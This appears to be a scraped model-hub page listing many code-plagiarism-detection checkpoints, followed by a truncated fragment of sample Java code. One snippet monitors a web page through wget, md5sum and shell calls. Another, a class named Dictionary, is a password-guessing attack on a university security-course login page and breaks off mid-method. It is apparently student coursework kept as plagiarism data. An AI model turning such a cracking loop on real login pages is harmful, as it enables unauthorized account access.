buelfhood
conplag2_codebert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_codeberta_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_codebert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_graphcodebert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_plbart_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_plbart_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
irplag_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codet5_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codeberta_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_codeberta_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_codebert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_codebert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_unixcoder_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_unixcoder_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
irplag_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
irplag_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codet5_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codeberta_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_unixcoder_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_graphcodebert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_graphcodebert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
irplag_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
irplag_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
irplag_unixcoder_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codet5_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
irplag_plbart_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
irplag_modernbert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_codebert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_unixcoder_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_codeberta_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_codeberta_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_codeberta_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_plbart_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_plbart_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_graphcodebert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_unixcoder_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
irplag_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
irplag_plbart_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_unixcoder_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_plbart_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
irplag_modernbert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_unixcoder_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_codeberta_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_codeberta_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_codet5_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_modernbert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_graphcodebert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
progpedia19_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codet5_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_modernbert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_unixcoder_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_codet5_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_codeberta_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
progpedia19_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codeberta_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codebert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_graphcodebert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_codet5_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_modernbert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_modernbert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
irplag_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
progpedia19_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
irplag_codebert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
irplag_graphcodebert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codet5_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codet5_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_graphcodebert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_plbart_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_plbart_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_plbart_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_modernbert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
progpedia19_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
progpedia19_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
irplag_graphcodebert_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codet5_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_plbart_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_graphcodebert_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_graphcodebert_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_codeberta_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_codet5_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_codebert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_graphcodebert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_unixcoder_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_codet5_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_codet5_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_modernbert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
irplag_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
irplag_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
irplag_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codebert_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codebert_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_unixcoder_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_codet5_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
irplag_graphcodebert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codeberta_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_modernbert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_codebert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_modernbert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_codet5_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_modernbert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag2_modernbert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_codebert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_graphcodebert_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_unixcoder_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
progpedia19_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
irplag_codet5_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
irplag_plbart_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codebert_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_plbart_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
irplag_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_graphcodebert_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_unixcoder_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
progpedia19_codebert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
irplag_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_codebert_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_unixcoder_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codeberta_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_codeberta_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_unixcoder_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_codeberta_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_codet5_ep30_bs16_lr5e-05_l512_s42_ppn_f_beta_score
irplag_codeberta_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
irplag_plbart_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
conplag1_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
progpedia19_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
irplag_graphcodebert_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codeberta_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_graphcodebert_ep50_bs16_lr3e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
irplag_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_plbart_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codet5_ep30_bs16_lr5e-05_l512_s42_ppn_loss
irplag_codet5_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_codebert_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_codebert_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_codebert_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_graphcodebert_ep50_bs16_lr5e-05_l512_s42_ppy_f_beta_scoreV3
irplag_unixcoder_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_codet5_ep50_bs16_lr5e-05_l512_s42_ppn_f_beta_scoreV3
progpedia19_plbart_ep50_bs16_lr1e-05_l512_s42_ppn_f_beta_scoreV3
irplag_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_lora
conplag1_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_graphcodebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_lora
conplag2_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_unixcoder_ep50_bs16_lr1e-05_l512_s42_ppy_f_beta_scoreV3
conplag1_unixcoder_ep50_bs16_lr3e-05_l512_s42_ppy_f_beta_scoreV3
irplag_codet5_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codeberta_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codet5_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_unixcoder_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag2_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_graphcodebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_graphcodebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_plbart_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_codeberta_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_unixcoder_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_codeberta_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
irplag_unixcoder_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
irplag_codet5_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_plbart_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_houlsby
conplag1_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codebert_ep50_bs16_lr0_0003_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag1_codebert_ep50_bs16_lr0_0005_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codebert_ep50_bs16_lr0_0001_l512_s42_ppn_f_beta_scoreV3_pfeiffer
conplag2_codet5_ep50_bs16_lr0_0001_l512_s42_ppy_f_beta_score_lora
SOCO-Java-codebert-mnrl-triplets-ep1-bs16-lr2e-05-split0.0
>\"+initialmd5);\n\t\t \ \ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\ \ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\ md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\ \ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\ \ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\ \t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\ \ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\ \ \n if(initialmd5.equals(presentmd5))\n \ \ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\ \t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\ );\n System.out.println(\" is different\"); \n \ \ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \ \ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\ rm present.\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\ }\t\t\n" - "import java.net.;\nimport java.io.;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n 